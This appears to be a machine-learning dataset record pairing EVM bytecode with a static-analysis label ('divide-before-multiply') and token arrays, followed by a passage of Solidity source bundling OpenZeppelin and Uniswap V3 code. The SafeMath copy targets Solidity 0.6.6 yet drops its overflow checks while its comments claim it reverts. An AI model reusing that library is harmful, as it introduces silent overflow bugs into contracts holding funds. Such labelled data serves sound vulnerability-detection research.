4610baa5760806f31be135f97d08fd981231505542fcfa68202901c90505b600062010000831614610bd15760806f09aa508b5b7a84e1c677de54f3e99bc98202901c90505b600062020000831614610bf75760806e5d6af8dedb81196699c329225ee6048202901c90505b600062040000831614610c1c5760806d2216e584f5fa1ea926041bedfe988202901c90505b600062080000831614610c3f5760806b048a170391f7dc42444e8fa28202901c90505b60008460020b1315610c7857807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81610c7457fe5b0490505b60006401000000008281610c8857fe5b0614610c95576001610c98565b60005b60ff16602082901c0192505050919050565b6000808373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161115610cec57838580955081965050505b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1611610d3157610d2a858585610d9c565b9150610d93565b8373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161015610d8457610d70868585610d9c565b9150610d7d858785610e57565b9050610d92565b610d8f858585610e57565b90505b5b94509492505050565b60008273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161115610ddd57828480945081955050505b8373ffffffffffffffffffffffffffffffffffffffff16610e46606060ff16846fffffffffffffffffffffffffffffffff16901b86860373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16610ee3565b81610e4d57fe5b0490509392505050565b60008273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161115610e9857828480945081955050505b610eda826fffffffffffffffffffffffffffffffff1685850373ffffffffffffffffffffffffffffffffffffffff166c01000000000000000000000000610ee3565b90509392505050565b600080600080198587098587029250828110838203039150506000811415610f1e5760008411610f1257600080fd5b83820492505050610fb6565b808411610f2a57600080fd5b600084868809905082811182039150808303925060008586600003169050808604955080840493506001818260000304019050808302841793506000600287600302189050808702600203810290508087026002038102905080870260020381029050808702600203810290508087026002038102905080870260020381029050808502955050505050505b9392505050565b6040518060e00160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001600073ffffffffffffffffffffffffffffffffffffffff168152602001600073ffffffffffffffffffffffffffffffffffffffff168152602001600062ffffff16815260200160006fffffffffffffffffffffffffffffffff16815260200160008152602001600081525090565b600061106661106184611b50565b611b1f565b9050808382526020820190508285602086028201111561108557600080fd5b60005b858110156110b5578161109b8882611203565b845260208401935060208301925050600181019050611088565b5050509392505050565b60006110d26110cd84611b7c565b611b1f565b905080838252602082019050828560208602820111156110f157600080fd5b60005b85811015611121578161110788826112ea565b8452602084019350602083019250506001810190506110f4565b5050509392505050565b600061113e61113984611ba8565b611b1f565b9050808382526020820190508285602086028201111561115d57600080fd5b60005b8581101561118d57816111738882611314565b845260208401935060208301925050600181019050611160565b5050509392505050565b60006111aa6111a584611bd4565b611b1f565b905080838252602082019050828560208602820111156111c957600080fd5b60005b858110156111f957816111df888261137d565b8452602084019350602083019250506001810190506111cc565b5050509392505050565b60008135905061121281611d20565b92915050565b60008151905061122781611d20565b92915050565b600082601f83011261123e57600080fd5b813561124e848260208601611053565b91505092915050565b600082601f83011261126857600080fd5b81356112788482602086016110bf565b91505092915050565b600082601f83011261129257600080fd5b81356112a284826020860161112b565b91505092915050565b600082601f8301126112bc57600080fd5b81356112cc848260208601611197565b91505092915050565b6000815190506112e481611d37565b92915050565b6000813590506112f981611d4e565b92915050565b60008151905061130e81611d4e565b92915050565b60008135905061132381611d65565b92915050565b60008151905061133881611d65565b92915050565b60008135905061134d81611d93565b92915050565b60008151905061136281611d93565b92915050565b60008151905061137781611d7c565b92915050565b60008135905061138c81611daa565b92915050565b6000815190506113a181611dc1565b92915050565b6000815190506113b681611dd8565b92915050565b6000602082840312156113ce57600080fd5b60006113dc84828501611203565b91505092915050565b6000602082840312156113f757600080fd5b600061140584828501611218565b91505092915050565b60008060008060008060c0878903121561142757600080fd5b600087013567ffffffffffffffff81111561144157600080fd5b61144d89828a0161122d565b965050602087013567ffffffffffffffff81111561146a57600080fd5b61147689828a0161122d565b955050604087013567ffffffffffffffff81111561149357600080fd5b61149f89828a016112ab565b945050606087013567ffffffffffffffff8111156114bc57600080fd5b6114c889828a01611257565b935050608087013567ffffffffffffffff8111156114e557600080fd5b6114f189828a01611257565b92505060a087013567ffffffffffffffff81111561150e57600080fd5b61151a89828a01611281565b9150509295509295509295565b60006020828403121561153957600080fd5b6000611547848285016112ea565b91505092915050565b60006020828403121561156257600080fd5b600061157084828501611329565b91505092915050565b600080600080600080600060e0888a03121561159457600080fd5b60006115a28a828b01611353565b97505060206115b38a828b016112ff565b96505060406115c48a828b01611368565b95505060606115d58a828b01611368565b94505060806115e68a828b01611368565b93505060a06115f78a828b016113a7565b92505060c06116088a828b016112d5565b91505092959891949750929550565b6000806000806080858703121561162d57600080fd5b600061163b8782880161133e565b945050602061164c8782880161133e565b935050604061165d8782880161133e565b925050606061166e87828801611314565b91505092959194509250565b60006020828403121561168c57600080fd5b600061169a84828501611392565b91505092915050565b60006116af83836118b9565b60e08301905092915050565b60006116c78383611983565b60208301905092915050565b6116dc81611c83565b82525050565b6116eb81611c83565b82525050565b60006116fc82611c20565b6117068185611c50565b935061171183611c00565b8060005b8381101561174257815161172988826116a3565b975061173483611c36565b925050600181019050611715565b5085935050505092915050565b600061175a82611c2b565b6117648185611c61565b935061176f83611c10565b8060005b838110156117a057815161178788826116bb565b975061179283611c43565b925050600181019050611773565b5085935050505092915050565b60006117ba602883611c72565b91507f4c656e677468206f6620746f6b656e317320616e64206665657320617265206460008301527f6966666572656e740000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611820600183611c72565b91507f54000000000000000000000000000000000000000000000000000000000000006000830152602082019050919050565b6000611860602b83611c72565b91507f4c656e677468206f6620746f6b656e307320616e6420746f6b656e317320617260008301527f6520646966666572656e740000000000000000000000000000000000000000006020830152604082019050919050565b60e0820160008201516118cf60008501826116d3565b5060208201516118e260208501826116d3565b5060408201516118f560408501826116d3565b5060608201516119086060850182611965565b50608082015161191b6080850182611947565b5060a082015161192e60a0850182611983565b5060c082015161194160c0850182611983565b50505050565b61195081611cae565b82525050565b61195f81611cd8565b82525050565b61196e81611cf8565b82525050565b61197d81611cf8565b82525050565b61198c81611d07565b82525050565b61199b81611d07565b82525050565b60006020820190506119b660008301846116e2565b92915050565b60006060820190506119d160008301866116e2565b6119de60208301856116e2565b6119eb6040830184611974565b949350505050565b6000604082019050611a0860008301856116e2565b611a156020830184611992565b9392505050565b60006020820190508181036000830152611a3681846116f1565b905092915050565b60006020820190508181036000830152611a58818461174f565b905092915050565b60006020820190508181036000830152611a79816117ad565b9050919050565b60006020820190508181036000830152611a9981611813565b9050919050565b60006020820190508181036000830152611ab981611853565b9050919050565b6000602082019050611ad56000830184611956565b92915050565b6000602082019050611af06000830184611992565b92915050565b6000604082019050611b0b6000830185611992565b611b186020830184611992565b9392505050565b6000604051905081810181811067ffffffffffffffff82111715611b4657611b45611d1e565b5b8060405250919050565b600067ffffffffffffffff821115611b6b57611b6a611d1e565b5b602082029050602081019050919050565b600067ffffffffffffffff821115611b9757611b96611d1e565b5b602082029050602081019050919050565b600067ffffffffffffffff821115611bc357611bc2611d1e565b5b602082029050602081019050919050565b600067ffffffffffffffff821115611bef57611bee611d1e565b5b602082029050602081019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b6000611c8e82611cd8565b9050919050565b60008115159050919050565b60008160020b9050919050565b60006fffffffffffffffffffffffffffffffff82169050919050565b600061ffff82169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062ffffff82169050919050565b6000819050919050565b600060ff82169050919050565bfe5b611d2981611c83565b8114611d3457600080fd5b50565b611d4081611c95565b8114611d4b57600080fd5b50565b611d5781611ca1565b8114611d6257600080fd5b50565b611d6e81611cae565b8114611d7957600080fd5b50565b611d8581611cca565b8114611d9057600080fd5b50565b611d9c81611cd8565b8114611da757600080fd5b50565b611db381611cf8565b8114611dbe57600080fd5b50565b611dca81611d07565b8114611dd557600080fd5b50565b611de181611d11565b8114611dec57600080fd5b5056fea2646970667358221220a651503300f223ce13ccc40946fcc22b5598d048ad76f24b64a5bcdfb1de35e364736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2475, 10354, 11387, 2050, 2575, 2497, 2620, 24434, 18827, 2094, 2620, 2050, 22275, 27814, 2683, 2098, 2581, 17914, 2683, 2620, 2487, 2063, 10790, 2497, 25746, 2629, 2094, 2549, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 11113, 11261, 4063, 1058, 2475, 1025, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1021, 1012, 1014, 1025, 3206, 4895, 2483, 4213, 2361, 2615, 2509, 27953, 7274, 2953, 1063, 2358, 6820, 6593, 4770, 1063, 4769, 4770, 1035, 4769, 1025, 4769, 19204, 2692, 1025, 4769, 19204, 2487, 1025, 21318, 3372, 18827, 7408, 1025, 21318, 3372, 12521, 2620, 6381, 3012, 1025, 21318, 3372, 17788, 2575, 3815, 2692, 1025, 21318, 3372, 17788, 2575, 3815, 2487, 1025, 1065, 4769, 4713, 1035, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,072
0x962bc491d766f63b4409f6a895f1ad6fa9fafa62
// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.6.6; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal pure virtual returns (bytes memory) { return msg.data; } } // File: @openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol pragma solidity ^0.6.6; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require( _initializing || !_initialized, "Initializable: contract is already initialized" ); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.6.6; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context, Initializable { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() public {} function init(address owner_) internal initializer { _setOwner(owner_); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.6.6; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}( data ); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall( target, data, "Address: low-level static call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall( target, data, "Address: low-level delegate call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/utils/math/SafeMath.sol pragma solidity ^0.6.6; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.6.6; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: @openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol pragma solidity ^0.6.6; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transfer.selector, to, value) ); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value) ); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn( token, abi.encodeWithSelector(token.approve.selector, spender, value) ); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, newAllowance ) ); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 oldAllowance = token.allowance(address(this), spender); require( oldAllowance >= value, "SafeERC20: decreased allowance below zero" ); uint256 newAllowance = oldAllowance - value; _callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, newAllowance ) ); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall( data, "SafeERC20: low-level call failed" ); if (returndata.length > 0) { // Return data is optional require( abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed" ); } } } // File: @uniswap/v3-periphery/contracts/interfaces/IQuoter.sol pragma solidity ^0.6.6; /// @title Quoter Interface /// @notice Supports quoting the calculated amounts from exact input or exact output swaps /// @dev These functions are not marked view because they rely on calling non-view functions and reverting /// to compute the result. They are also not gas efficient and should not be called on-chain. interface IQuoter { /// @notice Returns the amount out received for a given exact input swap without executing the swap /// @param path The path of the swap, i.e. each token pair and the pool fee /// @param amountIn The amount of the first token to swap /// @return amountOut The amount of the last token that would be received function quoteExactInput(bytes calldata path, uint256 amountIn) external returns (uint256 amountOut); /// @notice Returns the amount out received for a given exact input but for a swap of a single pool /// @param tokenIn The token being swapped in /// @param tokenOut The token being swapped out /// @param fee The fee of the token pool to consider for the pair /// @param amountIn The desired input amount /// @param sqrtPriceLimitX96 The price limit of the pool that cannot be exceeded by the swap /// @return amountOut The amount of `tokenOut` that would be received function quoteExactInputSingle( address tokenIn, address tokenOut, uint24 fee, uint256 amountIn, uint160 sqrtPriceLimitX96 ) external returns (uint256 amountOut); /// @notice Returns the amount in required for a given exact output swap without executing the swap /// @param path The path of the swap, i.e. each token pair and the pool fee. Path must be provided in reverse order /// @param amountOut The amount of the last token to receive /// @return amountIn The amount of first token required to be paid function quoteExactOutput(bytes calldata path, uint256 amountOut) external returns (uint256 amountIn); /// @notice Returns the amount in required to receive the given exact output amount but for a swap of a single pool /// @param tokenIn The token being swapped in /// @param tokenOut The token being swapped out /// @param fee The fee of the token pool to consider for the pair /// @param amountOut The desired output amount /// @param sqrtPriceLimitX96 The price limit of the pool that cannot be exceeded by the swap /// @return amountIn The amount required as the input for the swap in order to receive `amountOut` function quoteExactOutputSingle( address tokenIn, address tokenOut, uint24 fee, uint256 amountOut, uint160 sqrtPriceLimitX96 ) external returns (uint256 amountIn); } // File: @uniswap/v3-core/contracts/interfaces/callback/IUniswapV3SwapCallback.sol pragma solidity ^0.6.6; /// @title Callback for IUniswapV3PoolActions#swap /// @notice Any contract that calls IUniswapV3PoolActions#swap must implement this interface interface IUniswapV3SwapCallback { /// @notice Called to `msg.sender` after executing a swap via IUniswapV3Pool#swap. /// @dev In the implementation you must pay the pool tokens owed for the swap. /// The caller of this method must be checked to be a UniswapV3Pool deployed by the canonical UniswapV3Factory. /// amount0Delta and amount1Delta can both be 0 if no tokens were swapped. /// @param amount0Delta The amount of token0 that was sent (negative) or must be received (positive) by the pool by /// the end of the swap. If positive, the callback must send that amount of token0 to the pool. /// @param amount1Delta The amount of token1 that was sent (negative) or must be received (positive) by the pool by /// the end of the swap. If positive, the callback must send that amount of token1 to the pool. /// @param data Any data passed through by the caller via the IUniswapV3PoolActions#swap call function uniswapV3SwapCallback( int256 amount0Delta, int256 amount1Delta, bytes calldata data ) external; } // File: @uniswap/v3-periphery/contracts/interfaces/ISwapRouter.sol pragma solidity ^0.6.6; pragma experimental ABIEncoderV2; /// @title Router token swapping functionality /// @notice Functions for swapping tokens via Uniswap V3 interface ISwapRouter is IUniswapV3SwapCallback { struct ExactInputSingleParams { address tokenIn; address tokenOut; uint24 fee; address recipient; uint256 deadline; uint256 amountIn; uint256 amountOutMinimum; uint160 sqrtPriceLimitX96; } /// @notice Swaps `amountIn` of one token for as much as possible of another token /// @param params The parameters necessary for the swap, encoded as `ExactInputSingleParams` in calldata /// @return amountOut The amount of the received token function exactInputSingle(ExactInputSingleParams calldata params) external payable returns (uint256 amountOut); struct ExactInputParams { 